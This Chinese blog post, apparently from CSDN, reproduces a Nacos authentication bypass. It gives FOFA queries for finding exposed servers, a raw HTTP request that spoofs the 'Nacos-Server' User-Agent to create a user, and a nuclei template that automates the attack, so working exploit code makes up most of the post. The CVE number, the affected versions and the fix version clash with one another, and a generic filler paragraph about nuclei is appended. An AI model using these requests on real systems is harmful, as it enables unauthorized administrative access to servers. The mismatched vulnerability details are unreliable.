(附nuclei yaml文件)Nacos 身份认证绕过漏洞(CVE-2021-43116)漏洞复现

Nacos 身份认证绕过漏洞(CVE-2021-43116)漏洞复现

1、漏洞简介

Nасоѕ是一个专为动态服务发现和配置以及服务管理而设计的平台。在 Nасоѕ 1.4.1 之前的版本中,当配置为使用身份验证(-Dnасоѕ.соrе.аuth.еnаblеd=truе)时,Nасоѕ 使用 AuthFiltеr ѕеrvlеt 过滤器强制执行身份验证。该过滤器有一个后门,使 Nасоѕ 服务器能够绕过该过滤器,从而跳过身份验证检查。此机制依赖于用户代理 HTTP 标头,因此很容易被欺骗。此漏洞可能允许任何用户在 Nасоѕ 服务器上执行任何管理任务。

2、资产指纹

fofa:port=“8848”
app=“NACOS”

3、漏洞复现

POST /nacos/v1/auth/users/?username=sectest05&password=20240520 HTTP/1.1
Host:
User-Agent: Nacos-Server
Connection: close
Accept-Encoding: gzip, deflate
Content-Length: 0

使用burpsuite发送数据包绕过认证新增用户
访问http://ip/nacos/#/login使用新增的账号密码进行登录
在这里插入图片描述

4、nuclei脚本

id: nacosCVE-2021-29441

info:
  name: nacos 身份认证绕过
  author: xxx
  severity: high
  description: nacos 身份认证绕过漏洞,可任意新增用户。
  tags: nacos 身份认证绕过漏洞,可任意新增用户。

http:
  - raw:
      - |
        POST /nacos/v1/auth/users/?username=sectest0520&password=20240520 HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Nacos-Server
        Content-Length: 0
        Accept-Encoding: gzip

    matchers:     
      - type: dsl
        name: nacos 身份认证绕过
        dsl:
          - "contains(body,'create user ok!') || contains(body,'already exist')"

修复方式

更新到2.2.3版本以上

关于nucleiyaml的问题,根据引用和引用中的内容,nuclei是一个用于执行网络安全扫描的工具,可以通过命令行来使用。而yaml则是一种用于描述数据序列化格式的语言。 在引用中,展示了一个使用nuclei的命令行示例。其中,使用了参数来指定待扫描的目标URL、指定扫描的标签、指定扫描的严重程度、指定扫描的作者,并将扫描结果输出到result.txt文件中。 而在引用中,展示了一个使用nuclei进行调试扫描的命令行示例。其中,使用了参数来指定待扫描的目标URL和使用的模板文件(使用了yaml格式的模板文件)。 综上所述,nuclei是一个可以通过命令行使用的网络安全扫描工具,而yaml则是用于描述数据序列化格式的语言,可以用来编写nuclei的模板文件。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [POC模拟攻击利器 —— Nuclei入门(一)](https://blog.csdn.net/liwenxiang629/article/details/125995096)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 50%"] - *2* [Nuclei——一款基于YAML语法模板的快速漏洞扫描工具](https://blog.csdn.net/asaotomo/article/details/122395708)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值